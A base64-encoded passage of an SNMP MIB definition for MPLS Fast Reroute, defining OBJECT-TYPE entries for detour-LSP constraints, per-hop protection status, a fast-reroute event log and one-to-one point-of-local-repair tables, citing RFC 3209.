ZCB0dW5uZWwgaW5zdGFuY2UNCiAgICAgICAgIC0gaGlnaGVyIDE2IGJpdHM6IG11c3QgYmUgYWxs
IHplcm9zIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDMgfQ0KDQogICAgbXBsc0Zy
ckNvbnN0UHJvdGVjdGlvblR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElO
VEVHRVIgeyBub25lKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmtQcm90
ZWN0aW9uKDEpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vZGVQcm90ZWN0aW9u
KDIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICBNQVgtQUNDRVNTICAg
IHJlYWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJ
UFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdHlwZSBvZiB0aGUgcmVzb3VyY2UgcHJvdGVjdGlv
bi4iDQogICAgICAgREVGVkFMIHsgbm9kZVByb3RlY3Rpb24gfQ0KICAgICAgIDo6PSB7IG1wbHNG
cnJDb25zdEVudHJ5IDQgfQ0KDQogICAgbXBsc0ZyckNvbnN0U2V0dXBQcmlvIE9CSkVDVC1UWVBF
DQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAgIE1BWC1BQ0NF
U1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBE
RVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgc2V0dXAgcHJpb3JpdHkgb2YgZGV0
b3VyIExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNWUC1URTogRXh0ZW5z
aW9ucyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwNCiAgICAgICAgICBS
RkMgMzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyA3IH0NCiAgICAgICA6Oj0g
eyBtcGxzRnJyQ29uc3RFbnRyeSA1IH0NCg0KICAgIG1wbHNGcnJDb25zdEhvbGRpbmdQcmlvIE9C
SkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyICgwLi43KQ0KICAgICAg
IE1BWC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQN
CiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgaG9sZGluZyBwcmlv
cml0eSBmb3IgZGV0b3VyIExTUC4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAgICAiMS4gUlNW
UC1URTogRXh0ZW5zaW9ucyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywgQXdkdWNoZSBldCBhbCwN
CiAgICAgICAgICBSRkMgMzIwOSwgRGVjZW1iZXIgMjAwMSINCiAgICAgICBERUZWQUwgeyAwIH0N
CiAgICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA2IH0NCg0KICAgIG1wbHNGcnJDb25zdElu
Y2xBbnlBZmZpbml0eSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5l
bEFmZmluaXR5DQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRV
UyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQSBsaW5rIHNh
dGlzZmllcyB0aGUgaW5jbHVkZS1hbnkgY29uc3RyYWludCBpZiBhbmQgb25seSBpZiB0aGUNCiAg
ICAgICAgICBjb25zdHJhaW50IGlzIHplcm8sIG9yIHRoZSBsaW5rIGFuZCB0aGUgY29uc3RyYWlu
dCBoYXZlIGENCiAgICAgICAgICByZXNvdXJjZSBjbGFzcyBpbiBjb21tb24uIg0KICAgICAgIFJF
RkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lvbnMgdG8gUlNWUCBmb3IgTFNQ
IFR1bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZDIDMyMDksIERlY2VtYmVyIDIw
MDEuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5
IDcgfQ0KDQogICAgbXBsc0ZyckNvbnN0SW5jbEFsbEFmZmluaXR5IE9CSkVDVC1UWVBFDQogICAg
ICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAgICAgICBNQVgtQUNDRVNTICAg
IHJlYWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJ
UFRJT04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBpbmNsdWRlLWFsbCBjb25zdHJh
aW50IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsgY29udGFpbnMgYWxsIG9mIHRo
ZSBhZG1pbmlzdHJhdGl2ZSBncm91cHMgc3BlY2lmaWVkIGluIHRoZQ0KICAgICAgICAgIGNvbnN0
cmFpbnQuIg0KICAgICAgIFJFRkVSRU5DRQ0KICAgICAgICAgIjEuIFJTVlAtVEU6IEV4dGVuc2lv
bnMgdG8gUlNWUCBmb3IgTFNQIFR1bm5lbHMsIEF3ZHVjaGUgZXQgYWwsDQogICAgICAgICAgUkZD
IDMyMDksIERlY2VtYmVyIDIwMDEuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0KICAgICAgIDo6PSB7
IG1wbHNGcnJDb25zdEVudHJ5IDggfQ0KDQogICAgbXBsc0ZyckNvbnN0RXhjbEFueUFmZmluaXR5
IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsQWZmaW5pdHkNCiAg
ICAgICBNQVgtQUNDRVNTICAgIHJlYWQtY3JlYXRlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBIGxpbmsgc2F0aXNmaWVzIHRoZSBl
eGNsdWRlLWFsbCBjb25zdHJhaW50IGlmIGFuZCBvbmx5IGlmIHRoZQ0KICAgICAgICAgIGxpbmsg
Y29udGFpbnMgbm9uZSBvZiB0aGUgYWRtaW5pc3RyYXRpdmUgZ3JvdXBzIHNwZWNpZmllZCBpbiB0
aGUNCiAgICAgICAgICBjb25zdHJhaW50LiINCiAgICAgICBSRUZFUkVOQ0UNCiAgICAgICAgICIx
LiBSU1ZQLVRFOiBFeHRlbnNpb25zIHRvIFJTVlAgZm9yIExTUCBUdW5uZWxzLCBBd2R1Y2hlIGV0
IGFsLA0KICAgICAgICAgIFJGQyAzMjA5LCBEZWNlbWJlciAyMDAxLiINCiAgICAgICBERUZWQUwg
eyAwIH0NCiAgICAgICA6Oj0geyBtcGxzRnJyQ29uc3RFbnRyeSA5IH0NCg0KICAgIG1wbHNGcnJD
b25zdEhvcExpbWl0IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMy
ICgxLi4yNTUpDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRV
UyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhlIG1heGlt
dW0gbnVtYmVyIG9mIGhvcHMgdGhhdCB0aGUgZGV0b3VyIExTUCBtYXkgdHJhdmVyc2UuIg0KICAg
ICAgIFJFRkVSRU5DRQ0KICAgICAgICAgIlBhbiwgUC4sIEdhbiwgRC4sIFN3YWxsb3csIEcuLCBW
YXNzZXVyLCBKLlBoLiwgQ29vcGVyLCBELiwNCiAgICAgICAgIEF0bGFzLCBBLiwgSm9yaywgTS4s
IEZhc3QgUmVyb3V0ZSBUZWNobmlxdWVzIGluIFJTVlAtVEUsIGRyYWZ0LQ0KICAgICAgICAgaWV0
Zi1tcGxzLXJzdnAtbHNwLWZhc3RyZXJvdXRlLTAwLnR4dCwgSmFudWFyeSAyMDAyLiBXb3JrIGlu
DQogICAgICAgICBwcm9ncmVzcy4iDQogICAgICAgREVGVkFMIHsgMzIgfQ0KICAgIDo6PSB7IG1w
bHNGcnJDb25zdEVudHJ5IDEwIH0NCg0KICAgIG1wbHNGcnJDb25zdEJhbmR3aWR0aCBPQkpFQ1Qt
VFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZWdlcjMyDQogICAgICAgTUFYLUFDQ0VTUyAg
ICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAiVGhpcyB2YXJpYWJsZSByZXByZXNlbnRzIHRoZSBiYW5kd2lkdGgg
Zm9yIGRldG91ciBMU1BzIG9mIHRoaXMNCiAgICAgICAgIHR1bm5lbCwgaW4gdW5pdHMgb2YgdGhv
dXNhbmRzIG9mIGJpdHMgcGVyIHNlY29uZCAoS2JwcykuIg0KICAgICAgIERFRlZBTCB7IDAgfQ0K
ICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDExIH0NCg0KICAgIG1wbHNGcnJDb25zdFJv
d1N0YXR1cyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgUm93U3RhdHVzDQogICAg
ICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVu
dA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBvYmplY3QgaXMgdXNlZCB0byBj
cmVhdGUsIG1vZGlmeSwgYW5kL29yIGRlbGV0ZSBhIHJvdyBpbg0KICAgICAgICAgIHRoaXMgdGFi
bGUuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVudHJ5IDEyIH0NCg0KICAgIC0tIE1QTFMg
RmFzdCBSZXJvdXRlIFR1bm5lbCBBY3R1YWwgUm91dGUgSG9wIHRhYmxlDQoNCiAgICBtcGxzRnJy
VHVuQVJIb3BUYWJsZSAgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgU0VR
VUVOQ0UgT0YgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAgICAgICBNQVgtQUNDRVNTICAgICAgICAg
bm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhv
cCB0YWJsZSBkZWZpbmVkIGluIHRoZQ0KICAgICAgICAgIE1QTFMtVEUgTUlCIHdpdGggZmFzdC1y
ZXJvdXRlIG9iamVjdHMgd2hpY2ggc3BlY2lmaWVzIHRoZSBzdGF0dXMNCiAgICAgICAgICBvZiBs
b2NhbCBwcm90ZWN0aW9uIChhdmFpbGFiaWxpdHkgYW5kIGluLXVzZSkgcGVyIGhvcCB0cmF2ZXJz
ZWQNCiAgICAgICAgICBieSBhIHByb3RlY3RlZCB0dW5uZWwuIg0KICAgICAgIDo6PSB7ICBtcGxz
RnJyR2VuZXJhbE9iamVjdHMgMiB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BFbnRyeSAgT0JKRUNU
LVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgICAgICAgTXBsc0ZyclR1bkFSSG9wRW50cnkNCiAg
ICAgICBNQVgtQUNDRVNTICAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAg
ICAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBlbnRy
eSBjb250YWlucyBmYXN0LXJlcm91dGUgcHJvdGVjdGlvbiBzdGF0dXMgb2YgYSBzaWdubGUNCiAg
ICAgICAgICBwcm90ZWN0ZWQgdHVubmVsIGhvcC4iDQogICAgICAgQVVHTUVOVFMgeyBtcGxzVHVu
bmVsRW50cnkgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJUdW5BUkhvcFRhYmxlIDEgfQ0KDQogICAg
bXBsc0ZyclR1bm5BUkhvcEVudHJ5ICAgIDo6PSBTRVFVRU5DRSB7DQogICAgICAgIG1wbHNGcnJU
dW5BUkhvcFByb3RlY3RBdmFpbGFibGUgVHJ1dGhWYWx1ZSwNCiAgICAgICAgbXBsc0ZyclR1bkFS
SG9wUHJvdGVjdEluVXNlICAgICBUcnV0aFZhbHVlDQogICAgfQ0KDQogICAgbXBsc0ZyclR1bkFS
SG9wUHJvdGVjdEF2YWlsYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgICAg
ICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgICAgICAgICAgICAg
ICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50
DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hl
dGhlciBsb2NhbCBwcm90ZWN0aW9uIHByb3ZpZGVkDQogICAgICAgICAgYnkgZmFzdC1yZXJvdXRl
IGlzIGF2YWlsYWJsZSBhdCB0aGlzIGhvcC4iDQogICAgICAgOjo9IHsgbXBsc0ZyclR1bkFySG9w
RW50cnkgMSB9DQoNCiAgICBtcGxzRnJyVHVuQVJIb3BQcm90ZWN0SW5Vc2UgICAgIE9CSkVDVC1U
WVBFDQogICAgICAgU1lOVEFYICAgICAgICAgICAgICAgICAgICAgICBUcnV0aFZhbHVlDQogICAg
ICAgTUFYLUFDQ0VTUyAgICAgICAgICAgICAgICAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMg
ICAgICAgICAgICAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAg
ICAgIlRoaXMgb2JqZWN0IGluZGljYXRlcyB3aGV0aGVyIGxvY2FsIHByb3RlY3Rpb24gcHJvdmlk
ZWQNCiAgICAgICAgICBieSBmYXN0LXJlcm91dGUgaXMgaW4gdXNlIGF0IHRoaXMgaG9wLiINCiAg
ICAgICA6Oj0geyBtcGxzRnJyVHVuQVJIb3BFbnRyeSAyIH0NCg0KICAgIC0tIEZhc3QgUmVyb3V0
ZSBMb2cgVGFibGUNCg0KICAgIG1wbHNGcnJMb2dUYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgICBT
WU5UQVggICAgICAgICAgICBTRVFVRU5DRSBPRiBNcGxzRnJyTG9nRW50cnkNCiAgICAgICAgTUFY
LUFDQ0VTUyAgICAgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICAgU1RBVFVTICAgICAgICAgICAg
Y3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlRoZSBmYXN0IHJlcm91
dGUgbG9nIHRhYmxlIHJlY29yZHMgZmFzdCByZXJvdXRlIGV2ZW50cyBzdWNoDQogICAgICAgICAg
ICAgYXMgcHJvdGVjdGVkIGxpbmtzIGdvaW5nIHVwIG9yIGRvd24gb3IgdGhlIEZSUiBmZWF0dXJl
DQogICAgICAgICAgICAga2lja2luZyBpbi4iDQogICAgOjo9IHsgbXBsc0ZyckdlbmVyYWxPYmpl
Y3RzIDIgfQ0KDQogICAgbXBsc0ZyckxvZ0VudHJ5IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRB
WCAgICAgICAgICAgIE1wbHNGcnJMb2dFbnRyeQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICBu
b3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAgICAiQW4gZW50cnkgaW4gdGhpcyB0YWJsZSBpcyBjcmVh
dGVkIHRvIGRlc2NyaWJlIG9uZSBmYXN0DQogICAgICAgICAgICAgcmVyb3V0ZSBldmVudC4gIEVu
dHJpZXMgaW4gdGhpcyB0YWJsZSBhcmUgb25seSBjcmVhdGVkIGFuZA0KICAgICAgICAgICAgIGRl
c3Ryb3llZCBieSB0aGUgYWdlbnQgaW1wbGVtZW50YXRpb24uIFRoZSBtYXhpbXVtIG51bWJlcg0K
ICAgICAgICAgICAgIG9mIGVudHJpZXMgaW4gdGhpcyBsb2cgaXMgZ292ZXJuZWQgYnkgdGhlIHNj
YWxhci4iDQogICAgICAgIElOREVYIHsgbXBsc0ZyckxvZ0luZGV4IH0NCiAgICA6Oj0geyBtcGxz
RnJyTG9nVGFibGUgMSB9DQoNCiAgICBNcGxzRnJyTG9nRW50cnkgOjo9IFNFUVVFTkNFIHsNCiAg
ICAgICAgbXBsc0ZyckxvZ0luZGV4ICAgICAgICAgICAgICAgIFVuc2lnbmVkMzIsDQogICAgICAg
IG1wbHNGcnJMb2dFdmVudFRpbWUgICAgICAgICAgICBUaW1lU3RhbXAsDQogICAgICAgIG1wbHNG
cnJMb2dJbnRlcmZhY2UgICAgICAgICAgICBJbnRlcmZhY2VJbmRleE9yWmVybywNCiAgICAgICAg
bXBsc0ZyckxvZ0V2ZW50VHlwZSAgICAgICAgICAgIElOVEVHRVIsDQogICAgICAgIG1wbHNGcnJM
b2dFdmVudER1cmF0aW9uICAgICAgICBUaW1lVGlja3MsDQogICAgICAgIG1wbHNGcnJMb2dFdmVu
dFJlYXNvblN0cmluZyAgICBPQ1RFVCBTVFJJTkcNCiAgICB9DQoNCiAgICBtcGxzRnJyTG9nSW5k
ZXggT0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgVW5zaWduZWQzMg0KICAg
ICAgICBNQVgtQUNDRVNTICAgICAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgICBTVEFUVVMgICAg
ICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVW5pcXVl
bHkgaWRlbnRpZmllcyBhIGZhc3QgcmVyb3V0ZSBldmVudCBlbnRyeS4iDQogICAgOjo9IHsgbXBs
c0ZyckxvZ0VudHJ5IDEgfQ0KDQogICAgbXBsc0ZyckxvZ0V2ZW50VGltZSBPQkpFQ1QtVFlQRQ0K
ICAgICAgICBTWU5UQVggICAgICAgICAgICBUaW1lU3RhbXANCiAgICAgICAgTUFYLUFDQ0VTUyAg
ICAgICAgcmVhZC1vbmx5DQogICAgICAgIFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJUaGlzIG9iamVjdCBwcm92aWRlcyB0aGUgYW1v
dW50IG9mIHRpbWUgdGlja3Mgc2luY2UgdGhpcw0KICAgICAgICAgICAgIGV2ZW50IG9jY3VyZWQu
Ig0KICAgIDo6PSB7IG1wbHNGcnJMb2dFbnRyeSAyIH0NCg0KICAgIG1wbHNGcnJMb2dJbnRlcmZh
Y2UgT0JKRUNULVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgSW50ZXJmYWNlSW5kZXhP
clplcm8NCiAgICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAgIFNUQVRV
UyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJU
aGlzIG9iamVjdCBpbmRpY2F0ZXMgd2hpY2ggaW50ZXJmYWNlIHdhcyBhZmZlY3RlZCBieSB0aGlz
DQogICAgICAgICAgICAgRlJSIGV2ZW50LiBUaGlzIHZhbHVlIG1heSBiZSBzZXQgdG8gMCBpZg0K
ICAgICAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvIG9uZVRv
T25lQmFja3VwKDApLiINCiAgICA6Oj0geyBtcGxzRnJyTG9nRW50cnkgMyB9DQoNCiAgICBtcGxz
RnJyTG9nRXZlbnRUeXBlIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICBJTlRFR0VSIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgIG90aGVyKDEpLA0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgcHJvdGVjdGVkKDIpDQogICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC1vbmx5DQogICAgICAgIFNUQVRVUyAgICAgICAgICAg
IGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJUaGlzIG9iamVjdCBk
ZXNjcmliZXMgd2hhdCB0eXBlIG9mIGZhc3QgcmVyb3V0ZSBldmVudA0KICAgICAgICAgICAgIG9j
Y3VyZWQuIg0KICAgIDo6PSB7IG1wbHNGcnJMb2dFbnRyeSA0IH0NCg0KICAgIG1wbHNGcnJMb2dF
dmVudER1cmF0aW9uIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFRpbWVU
aWNrcw0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFkLW9ubHkNCiAgICAgICAgU1RBVFVT
ICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAgIlRo
aXMgb2JqZWN0IGRlc2NyaWJlcyB0aGUgZHVyYXRpb24gb2YgdGhpcyBldmVudC4iDQogICAgOjo9
IHsgbXBsc0ZyckxvZ0VudHJ5IDUgfQ0KDQogICAgbXBsc0ZyckxvZ0V2ZW50UmVhc29uU3RyaW5n
IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIE9DVEVUIFNUUklORyAoU0la
RSgxMjgpKQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFkLW9ubHkNCiAgICAgICAgU1RB
VFVTICAgICAgICAgICAgY3VycmVudA0KICAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgICAg
IlRoaXMgb2JqZWN0IGNvbnRhaW5zIGFuIGltcGxlbWVudGF0aW9uLXNwZWNpZmljIGV4cGxhbmF0
aW9uDQogICAgICAgICAgICBvZiB0aGUgZXZlbnQuIg0KICAgIDo6PSB7IG1wbHNGcnJMb2dFbnRy
eSA2IH0NCg0KDQogICAgLS0NCiAgICAtLSBPbmUtdG8tT25lIFNwZWNpZmljIFRhYmxlcw0KICAg
IC0tDQogICAgLS0gVGFibGVzIGluIHRoaXMgc2VjdGlvbiBwZXJ0YWluIG9ubHkgdG8gdGhlIDEt
MQ0KICAgIC0tIHN0eWxlIG9mIEZSUi4NCiAgICAtLQ0KDQoNCiAgICAtLSBNUExTIEZhc3QgUmVy
b3V0ZSBQb2ludCBvZiBMb2NhbCBSZXBhaXIgdGFibGUNCg0KICAgIG1wbHNGcnJPbmUyT25lUGxy
VGFibGUgIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBTRVFVRU5DRSBPRiBNcGxz
RnJyT25lMk9uZVBsckVudHJ5DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0K
ICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAg
ICAiVGhpcyB0YWJsZSBzaG93cyB0aGUgbGlzdHMgb2YgUExScyB0aGF0IGluaXRpYXRlZCBkZXRv
dXIgTFNQcw0KICAgICAgICAgd2hpY2ggYWZmZWN0IHRoaXMgbm9kZS4iDQogICAgICAgOjo9IHsg
bXBsc0ZycjF0bzFPYmplY3RzIDEgfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQbHJFbnRyeSAgT0JK
RUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNGcnJPbmUyT25lUGxyRW50cnkNCiAg
ICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJBbiBlbnRyeSBpbiB0aGlzIHRh
YmxlIHJlcHJlc2VudHMgYSBQTFIgdG9nZXRoZXIgd2l0aCBpdHMNCiAgICAgICAgIGRldG91ciBp
bnN0YW5jZS4gQW4gZW50cnkgaW4gdGhpcyB0YWJsZSBpcyBvbmx5IGNyZWF0ZWQgYnkgYW4NCiAg
ICAgICAgIFNOTVAgYWdlbnQgYXMgaW5zdHJ1Y3RlZCBieSBhbiBNUExTIHNpZ25hbGluZyBwcm90
b2NvbC4iDQogICAgICAgSU5ERVggeyBtcGxzRnJyT25lMk9uZVBsclR1bklkeCwgICAgICAgLS0g
ZnJvbSBNUExTLVRFIE1JQg0KICAgICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5EZXRv
dXJJbnN0LC0tIG1wbHNUdW5uZWxUYWJsZQ0KICAgICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQ
bHJUdW5JbmdyTFNSSWQsIC0tIFR1bm5lbHMgbXVzdCBleGlzdA0KICAgICAgICAgICAgICAgbXBs
c0Zyck9uZTJPbmVQbHJUdW5FZ3JMU1JJZCwgIC0tIGEgcHJpb3JpDQogICAgICAgICAgICAgICBt
cGxzRnJyT25lMk9uZVBscklkICAgIH0NCiAgICAgICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsclRh
YmxlIDEgfQ0KDQogICAgTXBsc0Zyck9uZTJPbmVQbHJFbnRyeSA6Oj0gU0VRVUVOQ0Ugew0KICAg
ICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuSWR4ICAgICAgICAgTXBsc1R1bm5lbEluZGV4LA0K
ICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuRGV0b3VySW5zdCAgTXBsc1R1bm5lbEluc3Rh
bmNlSW5kZXgsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJUdW5JbmdyTFNSSWQgICBNcGxz
THNySWRlbnRpZmllciwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkVnckxTUklkICAg
IE1wbHNMc3JJZGVudGlmaWVyLA0KICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxySWQgICAgICAg
ICAgICAgTXBsc0xzcklkZW50aWZpZXIsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJTZW5k
ZXJBZGRyVHlwZSBJbmV0QWRkcmVzc1R5cGUsDQogICAgICAgICAgbXBsc0Zyck9uZTJPbmVQbHJT
ZW5kZXJBZGRyICAgICBJbmV0QWRkcmVzcywNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsckF2
b2lkTkFkZHJUeXBlIEluZXRBZGRyZXNzVHlwZSwNCiAgICAgICAgICBtcGxzRnJyT25lMk9uZVBs
ckF2b2lkTkFkZHIgICAgIEluZXRBZGRyZXNzDQogICAgfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQ
bHJUdW5JZHggT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbmRl
eA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAg
ICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50
aWZpZXMgYSB0dW5uZWwgYmV0d2VlbiBhIHBhaXIgb2YgTFNScw0KICAgICAgICAgIGZyb20gdGhl
IG1wbHNUdW5uZWxFbnRyeS4iDQogICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQbHJFbnRyeSAx
IH0NCg0KICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuRGV0b3VySW5zdCBPQkpFQ1QtVFlQRQ0KICAg
ICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAgICAgICBNQVgtQUND
RVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGEgZGV0b3VyIGlu
c3RhbmNlIG9mIGEgdHVubmVsIGZyb20NCiAgICAgICAgICB0aGUgbXBsc1R1bm5lbEVudHJ5Lg0K
DQogICAgICAgICAtIGxvd2VyIDE2IGJpdHMgOiBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQog
ICAgICAgICAtIGhpZ2hlciAxNiBiaXRzOiBkZXRvdXIgaW5zdGFuY2UiDQogICAgICAgOjo9IHsg
bXBsc0Zyck9uZTJPbmVQbHJFbnRyeSAyIH0NCg0KICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuSW5n
ckxTUklkIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzTHNySWRlbnRpZmll
cg0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAg
ICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRoZSBwdXJwb3NlIG9m
